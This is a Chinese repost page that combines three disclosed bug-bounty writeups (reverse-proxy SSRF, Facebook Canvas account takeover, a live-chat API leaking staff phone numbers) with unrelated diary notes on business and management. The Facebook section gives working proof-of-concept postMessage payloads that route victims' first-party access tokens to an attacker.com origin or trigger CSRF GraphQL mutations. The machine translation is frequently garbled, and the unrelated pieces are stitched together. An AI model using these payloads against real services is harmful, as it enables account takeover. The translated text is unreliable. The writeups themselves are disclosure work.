【转载】【漏洞分析】How I made 25000 USD in bug bounties with reverse proxy

我是怎样用反向代理服务器赚取25000美元的 bug 赏金的

A proxy server is a go‑between or intermediary server that forwards requests for content from multiple clients to different servers across the Internet. A reverse proxy server is a type of proxy server that typically sits behind the firewall in a private network and directs client requests to the appropriate backend server. A reverse proxy provides an additional level of abstraction and control to ensure the smooth flow of network traffic between clients and servers.

代理服务器是一个中间服务器,它将来自多个客户机的内容请求转发到 Internet 上的不同服务器。反向代理服务器是一种代理服务器,它通常位于私有网络中的防火墙之后,并将客户机请求发送到适当的后端服务器。反向代理提供了额外的抽象和控制级别,以确保客户机和服务器之间网络流量的顺利流动。

Basic reverse proxy 基本的反向代理

Why is used?

为什么要使用?

  • Load balancing 负载平衡 — A reverse proxy server can act as a “traffic cop,” sitting in front of your backend servers and distributing client requests across a group of servers in a manner that maximizes speed and capacity utilization while ensuring no one server is overloaded, which can degrade performance. If a server goes down, the ー反向代理服务器可以充当“交通警察”,位于后端服务器之前,以最大限度提高速度和产能利用率的方式在一组服务器之间分发客户端请求,同时确保没有一个服务器超载,这会降低性能。如果服务器宕机,则load balancer 负载均衡器 redirects traffic to the remaining online servers. 将流量重定向到剩余的在线服务器
  • Web acceleration 网页加速 — Reverse proxies can compress inbound and outbound data, as well as cache commonly requested content, both of which speed up the flow of traffic between clients and servers. They can also perform additional tasks such as SSL encryption to take load off of your web servers, thereby ー反向代理可以压缩入站和出站数据,以及缓存通常要求的内容,这两者都加快了客户端和服务器之间的通信流。他们还可以执行额外的任务,如 SSL 加密,以减轻您的 web 服务器的负载,从而boosting their performance 提高他们的表现.
  • Security and anonymity 安全和匿名 — By intercepting requests headed for your backend servers, a reverse proxy server protects their identities and acts as an additional defense against security attacks. It also ensures that multiple servers can be accessed from a single record locator or URL regardless of the structure of your local area network. ー反向代理服务器通过拦截发往后端服务器的请求,保护这些请求的身份,并作为额外的防御安全攻击的工具。它还确保可以从单个记录定位器或 URL 访问多个服务器,而不管局域网的结构如何

So basically I escalated a REVERSE PROXY to 2 SQLi and 3 RCE on the internal servers and a couple of other issues. There was information disclosure and other problems found.

所以基本上我在内部服务器上将反向代理升级为2 SQLi 和3 RCE,还有其他一些问题。有信息披露和其他问题被发现。

To find the reverse proxy you can use Burp or DNSBIN better to catch the DNS request.

要找到反向代理,你可以使用 Burp 或 DNSBIN 更好地捕捉 DNS 请求。

You need to modify the requests like this

您需要像这样修改请求

GET / HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded

GET/HTTP/1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded

to

GET http://burpcollaborator_url HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded

1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded. GET HTTP://burpcollaborator_url /HTTP/1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded

Then you need to check the DNS responses, but filter a lot of WAF and manual pingbacks you get because most of the time is false positive

然后您需要检查 DNS 响应,但过滤大量的 WAF 和手动 pingback,因为大多数时候是假阳性

If you get a DNS response only and not a HTTP one, don’t give up. It means other ports on the same internal portal might be accessible, just not 80 or 443. Or some internal sites cannot be shown by the reverse proxy. You might need to trick with adding an url or subdomain that pretends to be valid.

如果你得到的只是 DNS 响应而不是 HTTP 响应,不要放弃。这意味着可以访问同一个内部门户上的其他端口,而不是80或443。或者一些内部站点无法通过反向代理显示。你可能需要添加一个欺骗的 url 或子域,假装是有效的。

Once you get access to an internal asset, you need to use the reverse proxy and test it like it’s an external website

一旦您获得了对内部资产的访问权,您需要使用反向代理并将其当作外部网站进行测试

Burp trick to be able to browse the internal site from the browser 打嗝的技巧,能够浏览内部网站从浏览器

Of course is a big are to explore and many bypass combinations to try like:

当然是大有探索和许多旁路组合去尝试的样子:

GET https://external_site.com@internal_site:4566 HTTP1/1 etc

Https://external_site.com@internal_site:4566 http/1/1等

I believe this are is not fully explored, even if the bug type is not new. Probably similar issues can be found with another name or attacks work with other techniques. Like a reverse proxy can also be exploited via another url parser issue etc. But I encourage everyone to look more here.

我相信这是没有充分探讨,即使错误类型不是新的。也许类似的问题可以用另一个名字找到,或者用其他技术进行攻击。像反向代理一样,也可以通过另一个 url 解析器问题等加以利用。但我鼓励大家多看看这里。

The attacker just needs to create a special URL (/img/..%2faccount/attacker/), so Nuster applies an “aggressive caching” rule, still, the web app returns a response of self XSS (it sees ‘/account/attacker/`). The response with an XSS payload will be cached by Nuster (with the key: Host + /img/..%2faccount/attacker/), so the attacker will be able to misuse this cache to XSS attack other users of the web application.From the self-XSS, we’ve got a usual XSS.

攻击者只需要创建一个特殊的 URL (/img/。.% 2faccount/攻击者/) ,因此 Nuster 应用了“侵略性缓存”规则,但 web 应用程序仍然返回一个 self XSS 响应(它看到的是“/account/攻击者/”)。带有 XSS 有效负载的响应将由 Nuster (键: Host +/img/)缓存。.% 2 faccount/攻击者/) ,因此攻击者可以滥用此缓存来攻击 web 应用程序的其他用户。从 self-XSS 中,我们得到了一个常用的 XSS。

【转载】【漏洞分析】More secure Facebook Canvas : Tale of $126k worth of bugs that lead to Facebook Account Takeovers

Summery

夏天

Facebook allowed online games owners to host their games/applications in apps.facebook.com for many years now. The idea and technology behind it was that the game ( Flash or HTML5 based) would be hosted in the owner website and later the website page hosting it should be shown to the Facebook user in apps.facebook.com inside a controlled iframe. Since the game is not hosted in Facebook and for best user experience like keeping score and profile data, Facebook had to establish a communication channel with the game owner to verify the identity of the Facebook user for example. This was ensured by using cross windows communication/messaging between apps.facebook.com and the game website inside the iframe. In this blog post, i’ll be discussing multiple vulnerabilities i found in this implementation.

Facebook 已经允许在线游戏的拥有者多年以来一直在 apps.Facebook.com 地区主持他们的游戏/应用程序。其背后的想法和技术是,这款游戏(基于 Flash 或 HTML5)将托管在所有者网站上,随后托管该游戏的网站页面应该显示在一个控制的 iframe 内的 Facebook 用户 apps.Facebook.com。由于游戏不在 Facebook 上托管,为了获得最好的用户体验,比如保存分数和个人资料,Facebook 不得不建立一个与游戏所有者的沟通渠道来验证 Facebook 用户的身份。这是通过使用 iframe 中的 apps.facebook.com 和游戏网站之间的跨窗口通信/消息来确保的。在这篇博文中,我将讨论在这个实现中发现的多个漏洞。

Vulnerabilities potential

潜在的脆弱性

These bugs were found after careful auditing of the client-side code inside apps.facebook.com responsible of verifying what’s coming through this channel. The bugs explained below (and others) allowed me to takeover any Facebook account if the user decided to visit my game page inside apps.facebook.com. The severity of these bugs is high since these were present for years and billions of user and their information could have been compromised easily since this was served from inside Facebook. Facebook confirmed they didn’t see any indicators of previous abuse or exploitation of these bugs.

这些错误是在对负责验证通过这个通道的 apps.facebook.com 内部的客户端代码进行仔细审计后发现的。如果用户决定访问我的游戏页面,下面解释的 bug (以及其他 bug)允许我接管任何 Facebook 账户,只要用户决定访问我的游戏 apps.Facebook.com。这些漏洞的严重程度很高,因为这些漏洞已经存在多年,而且由于这些漏洞是从 Facebook 内部提供的,数十亿用户和他们的信息可能很容易被泄露。确认他们没有看到任何先前滥用或利用这些漏洞的迹象。

For Researchers

供研究人员使用

Before explaining the actual bugs below, i tried to show the way i decomposed the code and a simplified path to track the flow of the message data and how its components will be used. I probably didn’t left much to dig but i hope the information shared could help you in your research. If you are only interested in the bugs themselves then jump to each bug section part.

在解释下面的实际错误之前,我试图展示我分解代码的方法和一个简化的路径来跟踪消息数据流以及它的组件将如何使用。我可能没有留下太多可挖掘的信息,但我希望分享的信息可以帮助你的研究。如果您只对 bug 本身感兴趣,那么就跳到每个 bug 部分。

Description

描述

So far we know that the game page being served inside an iframe in apps.facebook.com is communicating with the parent window to ask Facebook to do some actions. Among the requested actions , for example , is to show a dialog to the user that would allow him to confirm the usage of the Facebook application owned by the game developers which would help me to identify you and get some information from an access token that they’ll receive if the user decided to user the application. The script responsible of receiving the cross window messages, interpreting them and understanding the action demanded is below ( only necessary parts are shown and as they were before the bugs were fixed ) :

到目前为止,我们知道在 apps.Facebook.com 的 iframe 中提供的游戏页面正在与父窗口通信,要求 Facebook 做一些操作。例如,在要求的操作中,向用户显示一个对话框,允许他确认游戏开发者拥有的 Facebook 应用程序的使用情况,这将帮助我识别你,并从一个访问令牌中获取一些信息,如果用户决定使用该应用程序,他们将收到这些信息。下面的脚本负责接收跨窗口消息,解释它们并理解需要的操作(只显示必要的部分,并且在修复 bug 之前是这样的) :

__d("XdArbiter", ...
            handleMessage: function(a, b, e) {
                d("Log").debug("XdArbiter at " + (window.name != null && window.name !== "" ? window.name : window == top ? "top" : "[no name]") + " handleMessage " + JSON.stringify(a));
                if (typeof a === "string" && /^FB_RPC:/.test(a)) {
                    k.enqueue([a.substring(7), {
                        origin: b,
                        source: e || i[h]
                    }]);
           ...
            send: function(a, b, e) {
                var f = e in i ? e : h;
                a = typeof a === "string" ? a : c("QueryString").encode(a);
                b = b;
                try {
                    d("SecurePostMessage").sendMessageToSpecificOrigin(b, a, e)
                } catch (a) {
                    d("Log").error("XdArbiter: Proxy for %s not available, page might have been navigated: %s", f, a.message), delete i[f]
                }
                return !0
            }
...

    window.addEventListener("message", function(a) {
        if (a.data.xdArbiterSyn) d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
            xdArbiterAck: !0
        });
        else if (a.data.xdArbiterRegister) {
            var b = l.register(a.source, a.data.xdProxyName, a.data.origin, a.origin);
            d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
                xdArbiterRegisterAck: b
            })
        } else a.data.xdArbiterHandleMessage && l.handleMessage(a.data.message, a.data.origin, a.source)
}), 98);

__d("JSONRPC", ...
        c.read = function(a, c) {
            ...
            e = this.local[a.method];
            try {
                e = e.apply(c || null, a.params);
                typeof e !== "undefined" && g("result", e)
            ...
    e.exports = a
}), null);

__d("PlatformAppController", ...
function f(a, b, e) { ...
         c("PlatformDialogClient").async(f, a, function(d) { ... b(d) });
}...
t.local.showDialog = f;

...

t = new(c("JSONRPC"))(function(a, b) {
            var d = b.origin || k;
            b = b.source;
            if (b == null) {
                var e = c("ge")(j);
                b = e.contentWindow
            }
            c("XdArbiter").send("FB_RPC:" + a, b, d)
        }
...

}), null);

__d("PlatformDialogClient", ...
function async(a, b, e) {
        var f = c("guid")(),
            g = b.state;
        b.state = f;
        b.redirect_uri = new(c("URI"))("/dialog/return/arbiter").setSubdomain("www").setFragment(c("QueryString").encode({
            origin: b.redirect_uri
        })).getQualifiedURI().toString();
        b.display = "async";
        j[f] = {
            callback: e || function() {},
            state: g
        };
        e = "POST";
        d("AsyncDialog").send(new(c("AsyncRequest"))(this.getURI(a, b)).setMethod(e).setReadOnly(!0).setAbortHandler(k(f)).setErrorHandler(l(f)))
    }
...
function getURI(a, b) {
        if (b.version) {
            var d = new(c("URI"))("/" + b.version + "/dialog/" + a);
            delete b.version;
            return d.addQueryData(b)
        }
        return c("PlatformVersioning").versionAwareURI(new(c("URI"))("/dialog/" + a).addQueryData(b))
    }

}), 98);

To simplify the code for you to understand the flow in case someone decides to dig more into it and looks for more bugs :

为了简化代码,以便你能够理解流程,以防有人决定深入挖掘代码并寻找更多的 bug:

Iframe sends message to parent => Message event dispatched in XdArbiter => Message handler function passes data to handleMessage function => “enqueue” function passes to JSONRPC => JSONRPC.read calls this.local.showDialog function in PlatformAppController => function checks message and if all valid, call PlatformDialogClient => PlatformDialogClient.async sends a POST request to apps.facebook.com/dialog/oauth , returned access_token would be passed to XdArbiter.send function ( few steps were skipped ) => XdArbiter.send would send a cross window message to the iframe window => Event dispatched in iframe window containing Facebook user access_token

在 XdArbiter = > Message handler 函数中,iframesend Message to parent = > Message Event delayed in XdArbiter = > Message handler function passes data to handleMessage function = > “ enqueue”function passes to JSONRPC = > JSONRPC.read calls this.local.showDialog function in PlatformAppController = > function checking Message and if all valid,call platformdialoggclient = > platformasyngoaldialog.c 向 apps.Facebook.com/dialog/oauth 发送 POST 请求,返回的访问权限将传递给 XdArbiter.send 函数(跳过了几个步骤) = > xbiter.send 将向 Iframe 窗口发送一个跨窗口消息,窗口中包含 Facebook 用户访问权限

Below an example of a simple code to construct the message to be sent to apps.facebook.com from the iframe, a similar one would be send from any game page using the Facebook Javascript SDK but with more unnecessary parts:

下面是一个简单的代码示例,用来构造要从 iframe 发送给 apps.Facebook.com 的消息,类似的代码可以从任何使用 Facebook Javascript SDK 的游戏页面发送,但是有更多不必要的部分:

 msg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://ysamm.com/callback","app_id":"APP_ID","client_id":"APP_ID","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + msg , origin: IFRAME_ORIGIN}
window.parent.postMessage(fullmsg,"*");

Interested parts to manipulate are :
IFRAME_ORIGIN, which is the one to be used in the redirect_uri parameter send with the POST request to apps.facebook.com/dialog/oauth to be verified server-side that it’s a domain owned by the application requesting an access_token, then would be used as targetOrigin in postMessage to send a cross window message to the iframe with the access_token
– Keys and values of the object inside params , there are the parameters to be appended to apps.facebook.com/dialog/oauth. Most interesting ones are redirect_uri ( which can replace IFRAME_ORIGIN in the POST request in some cases ) and APP_ID

感兴趣的操作部分是:-IFRAME _ origin,这是一个用于 redirect _ uri 参数发送的 POST 请求被验证的服务器端的 apps.facebook.com/dialog/oauth ,它是一个域的应用程序拥有的请求访问令牌,然后将用作 postMessage 的 targetOrigin 发送一个跨窗口消息与 access _ 令牌键和对象内部参数值的 IFRAME,有参数被附加到 apps.facebook.com/dialog/oauth。最有趣的是 redirect _ uri (在某些情况下可以替换 POST 请求中的 IFRAME _ origin)和 APP _ id

Attacks vectors/scenarios

攻击载体/场景

What we’ll do here is to try to instead of requesting an access token for the game application we own, we’ll try to get one of a Facebook first party application like Instagram. What’s holding us back is although we control the IFRAME_ORIGIN and APP_ID which we can set to match the Instagram application as http://www.instagram.com and 124024574287414, later the message sent to the iframe containing the first party access token would have a targetOrigin in postMessage as http://www.instagram.com which is not our window origin. Facebook did a good job protecting against these attacks ( i’ll argue though to why not using the origin from the event message received and matching app_id to the hosted game instead of giving us total freedom which could have prevented all these bugs ), but apparently they left some weaknesses that could have been exploited for many years.

我们在这里要做的不是为我们拥有的游戏应用程序申请访问令牌,而是尝试获得一个像 Instagram 这样的 Facebook 第一方应用程序。尽管我们可以设置 IFRAME origin 和 APP id 来匹配 Instagram 应用程序的 http://www.Instagram.com 和124024574287414,但是之后发送给包含第一方访问令牌的 IFRAME 的消息在 postMessage 中会有一个 targetOrigin,这不是我们的窗口 http://www.Instagram.com。Facebook 在防御这些攻击方面做得很好(我想说的是为什么不使用收到的事件消息的来源,并将 app _ id 与托管的游戏进行匹配,而不是给予我们完全的自由,这本可以避免所有这些 bug) ,但是显然他们留下了一些可能被利用多年的弱点。

Bug 1: Parameter Pollution, it was checked server-side and we definitely should trust it

缺陷1: 参数污染,它是检查服务器端,我们绝对应该信任它

This bug occurs due to the fact that the POST request to https://apps.facebook.com/dialog/oauth when constructed from the received message from the iframe, could contain user controlled parameters.
All parameters are checked in the client-side ( PlatformAppController, showDialog method and ,PlatformDialogClient.async method) and duplicate parameters will be removed in PlatformAppController , also AsyncRequest module seems to be doing some filtering ( removing parameters that already exist but brackets were appended to it ).

However due to some missing checking in the server-side, a parameter name set to PARAM[random would replace a previously set parameter PARAM ; for example redirect_uri[0 parameter value would replace redirect_uri. We can abuse this as follow :
1) Set APP_ID to be the Instagram application id.
2) The redirect_uri will be constructed in PlatformDialogClient.async (Line 72 ) using IFRAME_ORIGIN ( will end up https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ) , which would be sent matching our iframe window origin but won’t be used at all as explained below.
3) Set redirect_uri[0 in params as an additional parameter ( order matters so it must be after redirect_uri ) to be https://www.instagram.com/accounts/signup/ which is a valid redirect_uri for the Instagram applicaiton.
The URL of the POST request end up being something like this:

这个错误是因为当从 iframe 接收到的消息构造 POST 请求到 https://apps.facebook.com/dialog/oauth 时,可能包含用户控制的参数。所有参数都在客户端检查(PlatformAppController、 showDialog 方法和 PlatformDialogClient.async 方法) ,重复的参数将在 PlatformAppController 中删除,AsyncRequest 模块似乎正在进行一些过滤(删除已经存在的参数,但添加了括号)。然而,由于服务器端缺少检查,设置为 PARAM [ random 的参数名将替换以前设置的参数 PARAM; 例如 redirect _ uri [0参数值将替换 redirect _ uri。我们可以这样滥用: 1)设置 APP _ id 为 Instagram 应用程序 id。2) redirect _ uri 将使用 IFRAME _ origin 在 PlatformDialogClient.async (第72行)中构建,它将被发送到与 IFRAME 窗口原点相匹配的 https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com ,但不会像下面解释的那样被使用。3)设置 redirect _ uri [0 in params 作为一个额外的参数(顺序很重要,所以必须在 redirect _ uri 之后)为 https://www.Instagram.com/accounts/signup/ ,这是 Instagram 应用程序的一个有效 redirect _ uri。请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=https://attacker.com&app_id=124024574287414&client_id=124024574287414&response_type=token&redirect_uri[0=https://www.instagram.com/accounts/signup/

The request would end up being successful and returning a first party access token since redirect_uri[0 replaces redirect_uri and it’s a valid redirect_uri. In the client side though, the logic is if an access_token was received it means that the origin used to construct the redirect_uri did work with the app_id and for that it should trust it and use to send the message to the iframe, behind the scenes though redirect_uri[0 was used and not redirect_uri ( Cool right?)

Proof of concept

因为 redirect _ uri [0替换了 redirect _ uri,而且它是一个有效的 redirect _ uri,所以请求最终会成功并返回一个第一方访问令牌。但是在客户端,逻辑是,如果接收到一个访问令牌,这意味着用于构造 redirect _ uri 的原点确实与 app _ id 一起工作,因此它应该信任它,并用它将消息发送到 iframe,在幕后虽然 redirect _ uri [0被使用而不是 redirect _ uri (Cool right?))概念验证

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","redirect_uri":"https://attacker.com/callback","app_id":"124024574287414","client_id":"124024574287414","response_type":"token","redirect_uri[0":"https://www.instagram.com/accounts/signup/"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Bug 2: Why bothering, Origin is undefined

为什么这么麻烦,起源还没有定义

The main problem for this one is that /dialog/oauth endpoint would accept https://www.facebook.com/dialog/return/arbiter as a valid redirect_uri ( without a valid origin in the fragment part ) for third-party applications and some first-party ones.
The second problem is that this behaviour to occur ( no origin in the fragment part ), the message sent from the iframe to apps.facebook.com should not contain a.data.origin ( IFRAME_ORIGIN is undefined ) , however this same value would be used later to send a cross window message to the iframe, if null or undefined is used, the message won’t be received.
Likely, i noticed that JSONRPC function would always receive a not null origin of the postMessage ( Line 55 ) . Since b.origin is undefined or null, k would be chosen. k could be set by the attacker by first registering a valid origin via c(“Arbiter”).subscribe(“XdArbiter/register”) which could be informed if our message had xdArbiterRegister and a specified origin . Before “k” variable is set, the supplied origin would be checked first if it belongs to the attacker application using “/platform/app_owned_url_check/” endpoint.
This is wrong and the second problem occurs here since we can’t ensure that the user in the next cross origin message sent from the iframe would supply the same APP_ID.

对于第三方应用程序和一些第一方应用程序来说,/dialog/oauth 端点将接受 https://www.facebook.com/dialog/return/arbiter 作为一个有效的 redirect _ uri (片段部分没有有效的起点)。第二个问题是,这种行为会发生(片段部分没有原点) ,从 IFRAME 发送到 apps.facebook.com 的消息不应该包含 a.data.origin (IFRAME _ origin 未定义) ,但是这个相同的值稍后会被用来向 IFRAME 发送跨窗口消息,如果使用 null 或未定义,消息将不会被接收。很可能,我注意到 JSONRPC 函数总是会接收到一个非空的 postMessage 原点(第55行)。由于 b.origin 未定义或为 null,因此将选择 k。攻击者可以通过 c 注册一个有效的源(“仲裁者”)来设置 k。订阅(“ XdArbiter/register”) ,如果我们的消息具有 xdArbiterRegister 和指定的来源,就可以通知它。在设置“ k”变量之前,如果提供的原点属于使用“/platform/app _ owned _ url _ check/”端点的攻击者应用程序,那么将首先检查它。这是错误的,这里发生了第二个问题,因为我们不能确保从 iframe 发送的下一个跨源消息中的用户将提供相同的 APP _ id。

Not all first-party applications are vulnerable to this though. I used the Facebook Watch for Android application or Portal to get a first party access_token.

不过,并非所有第一方应用程序都容易受到这种攻击。我用 Facebook Watch for Android 应用程序或 Portal 获得了第一方访问令牌。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/dialog/oauth?state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

window.parent.postMessage({xdArbiterRegister:true,origin:"https://attacker.com"},"*")

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","app_id":"1348564698517390","client_id":"1348564698517390","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg}
window.parent.postMessage(fullmsg,"*");

Bug 3: Total Chaos, version can’t be harmful

完全混乱,版本不会有害

This bug one occurs in PlatformDialogClient.getURI function which is responsible of setting the API version before /dialog/oauth endpoint. This function didn’t check for double dots or added paths and directly constructed a URI object to be used later to send an XHR request ( Line 86 ).
The version property in params passed in the cross window message sent to apps.facebook.com could be set to api/graphql/?doc_id=DOC_ID&variables=VAR# and would eventually lead to a POST request sent to the GraphQL endpoint with valid user CSRF token.

这个 bug 出现在 PlatformDialogClient.getURI 函数中,该函数负责在/dialog/oauth 端点之前设置 API 版本。这个函数没有检查双点或添加路径,而是直接构造了一个 URI 对象,以便稍后用于发送 XHR 请求(第86行)。传递给 apps.facebook.com 的跨窗口消息中的参数中的 version 属性可以设置为 api/graphql/?DOC _ id = DOC _ id & variables = VAR # ,并最终导致使用有效的用户 CSRF 令牌向 GraphQL 端点发送 POST 请求。

DOC_ID and VAR could be set to an id of a GraphQL Mutation to add a phone number to the attacount, and the variables of this mutation.

DOC _ id 和 VAR 可以设置为一个 GraphQL Mutation 的 id,以便向 attacount 添加一个电话号码,以及此变异的变量。

The URL of the POST request would be something like this:

请求的 URL 如下所示:

https://apps.facebook.com/api/graphql?doc_id=DOC_ID&variables=VAR&?/dialog/oauth&state=f36be3f648ddfb&display=async&redirect_uri=https://www.facebook.com/dialog/return/arbiter#origin=attacker&app_id=1348564698517390&client_id=1348564698517390&response_type=token

Proof Of Concept

概念证明

xmsg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","display":"async","client_id":"APP_ID","response_type":"token","version":"api/graphql?doc_id=DOC_ID&variables=VAR&"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + xmsg , origin: "https://attacker.com"}
window.parent.postMessage(fullmsg,"*");

Timeline

时间轴

  1. Aug 4, 2021— Report Sent  2021年8月4日ー发送报告
    Aug 4, 2021—  Acknowledged by Facebook 2021年8月4日ー Facebook 承认
    Aug 6, 2021— Fixed by Facebook 2021年8月6日ー Facebook 修复
    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏
  2. Aug 9, 2021— Report Sent  2021年8月9日ー发送报告
    Aug 9, 2021—  Acknowledged by Facebook 2021年8月9日ー Facebook 承认
    Aug 12, 2021— Fixed by Facebook 2021年8月12日ー Facebook 修复
    Aug 31, 2021 — $42000 bounty awarded by Facebook. 2021年8月31日ー Facebook 奖励4.2万美元
  3. Aug 12, 2021— Report Sent  2021年8月12日ー发送报告
    Aug 13, 2021—  Acknowledged by Facebook 2021年8月13日ー Facebook 承认
    Aug 17, 2021— Fixed by Facebook 2021年8月17日ー Facebook 修复
    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏

【转载】【漏洞分析】Information Disclosure via External Live Chat Service

Hi folks!

嗨,伙计们!

I hope you’re all safe and good. Today’s writeup I explains how I was able to fetch website staffs first names, phone numbers, e-mail address through external live chat service.

我希望你们都平安无事。今天的写作我解释了我是如何通过外部实时聊天服务获取网站工作人员的姓名、电话号码、电子邮件地址的。

I found this vulnerability in HackerOne at a private program. So we can call that program as redacted.com . Firstly, I looked for a live chat service on main domain but I can’t found anything. Then, I registered to website. Now I can see live chat is there. I sent some messages to live chat service. But seems it’s a auto reply chat service. I lost my momentary joy.

我在 HackerOne 的一个私人项目中发现了这个漏洞。所以我们可以把这个程序命名为 recated.com。首先,我在主域名上寻找一个在线聊天服务,但是我找不到任何东西。然后,我注册了一个网站。现在我可以看到在线聊天是有的。我发了一些消息到在线聊天服务。但它似乎是一个自动回复聊天服务。我失去了瞬间的快乐。

After I finished my research on main domain, I started to examine request history in Burp Suite. I saw a https://api.redactedchatservice.com/restapi/v1/team/user/members?access-token=jwttokenrequest.

在完成了对主域的研究之后,我开始检查 Burp Suite 中的请求历史。我看到了一个 https://api.redactedchatservice.com/restapi/v1/team/user/members?access-token=jwttokenrequest。

Well, probably I found 298 phone numbers of live support agents!

也许我找到了298个现场支援人员的电话号码!

Then I checked a phone number’s WhatsApp account to verify if it was a physical (real) sim card. Yes! That phone number have a WhatsApp acount, so it’s a physical phone number. And then I immediately reported it.

然后我检查了一个电话号码的 WhatsApp 账户,以确认这是否是一张实体的(真实的) sim 卡。太好了!这个电话号码有一个 WhatsApp 账号,所以它是一个实体电话号码。然后我立刻报告了这件事。

Report Timeline

报告时间表

  • Submitted on July 2, 2021 2021年7月2日提交
  • Fixed on July 6, 2021 2021年7月6日固定
  • $$$ bounty awarded on July 20, 2021 as Medium severity. 二○二一年七月二十日颁发中等严重程度港币奖金
My react after report triaged 😀 我的反应后报告分类: d

Thanks for reading my first writeup. Happy to share this find with you all. If you found anything interesting feel free to share. DM me on Twitter if you have any queries. Stay home and stay safe! ♥

感谢阅读我的第一篇文章。很高兴与大家分享这一发现。如果你发现任何有趣的东西,请随时分享。如果你有任何疑问,可以在推特上给我留言。呆在家里,注意安全!别忘了

每日想法——2021年9月

9月1日

定期扫描榜单,这个习惯其实可以用一些实时的数据和一些应用的试用代替。App的趋势其实还是比较难确定什么样的趋势,现在主要是看异常点,基本上很多常用软件霸榜了。我们要做的就是去分析那些异常点。

流量的敏感性其实也是可以通过数据分析来的,很多流量都是无用的,需要做一些清洗,来判断为什么会存在这种流量。

时间窗口的问题,这个是个时机的问题。时机其实是留给沉浸到里面的人了,多去尝试是对的,主要还是得沉下来做事情和思路。

挣钱容易其实就代表趋势,拼一些是应该的,把该挣的钱都挣到就行了。付费是最硬核需求的证明。

挣钱思路,三四年的时间窗口感觉就多了,不过这个思路是可以做迁移,也是需要多思考。多去尝试。

9月2日

熟悉其实就代表这个文字经常被使用,但是得有深意,而且还可以有代入感,这个确实很难。

反复多自己的文案这个确实得好好做,我以前写文章基本不改错字,更不要说读自己的,读出声确实也比较重要。

产生联想这个事情,我是感觉特别重要。很多人喜欢看别人的故事,这样有代入感,他会怎么做,所以故事化的一些东西是很受欢迎的。

很多公众号和自媒体都是这种套路,写普通人,名人的故事,而且还是编的故事或者很片面的故事,达到吸引人的目的。

那我的文章能不能故事化?尝试一下

9月3日

9月4日

9月5日

9月6日

9月7日

9月8日

9月9日

9月10日

9月11日

9月12日

9月13日

9月14日

9月15日

9月16日

9月17日

9月18日

9月19日

地理位置优势,那其实可能就是在杭州。整个流程是

网上学习 – > 规划书 -> 主播招募 -> 直播间装配。

当面请教经验,每天主要头部账号,复盘迭代视频内容,那其实就是先抄一个。

确实现在做视频都是在追求爆款,有了爆款其实就很容易做起来。

但是这个爆款确实有点可遇不可求,还是需要做坚持不断的迭代才有一些希望。我看很多up主慢慢的也是可以做起来,用好的心态去迎接爆款。

很多时候爆款是需要用心的,去分析热点或者自己产生热点,追热点是比较难的,大家都追,自己产生热点这个门槛就很高,所以真的要做起来还是有很大的运气成分,但是遇到了爆款,那就需要抓住机会好好的运营。

管理学的三个人

  • 管理学之父: 泰罗 《科学管理原理》 他总是要创造一些条件,让自己处于有利的位置
  • 德鲁克 《卓有成效的管理者》 追问自己的三个问题:1)不做当下这件事,又会怎样?2)这件事,别人做,会不会更好?3)有哪些事情,就是交给别人做,也毫无意义?
  • 克里斯滕森 教人通过“颠覆性创新”来实现弯道超车 如何乐在工作?如何与家人朋友长保幸福?如何坚持原则、保持正直?

泰罗的创造条件让自己处于有利位置,让我想起了孙子兵法,孙子兵法并不是以少胜多,而且以强胜弱,保证成功概率最大化。 这种想法肯定是对的,大家都在追求对自己有利的事情。

德鲁克的三个问题,其实就代表了事情的重要程度和先后顺序,是否有意义等这些评价条件

克里斯坦森的《创新者的窘境》确实不错,后面他的书我都找来读读,他的三个问题其实就代表了寻找人生意义。

9月20日

兼职做电商创业,那其实就是做淘宝之类的,感觉现在基本没啥可能了。

持续学习是重要的,选品当然很重要,这里就需要用到分析工具了。

事情流程化其实就好脱身,要做一个没有你也可以完成的事情。

积累资源,建立门槛感觉都比较难,真的你有这些资源之后,你其实就不比做兼职了。很多时候还是为了做流量变现等。

电商不太看好,除非你自己已经有流量了。

泰罗和破局

管理学之父,最讨厌的概念是公平竞赛,做每一件事情都应该避免公平竞争,从而让自己处于有利的位置。 比如,他在给工厂主怎么管工人的建议的时候,就直接用秒表来算工人的效率(产量除以时间),达到了破局的思维。

局是人和资源之间的相关关系,所有的管理问题都是破局的问题,每个人的生活都是一个一连串的破局过程。

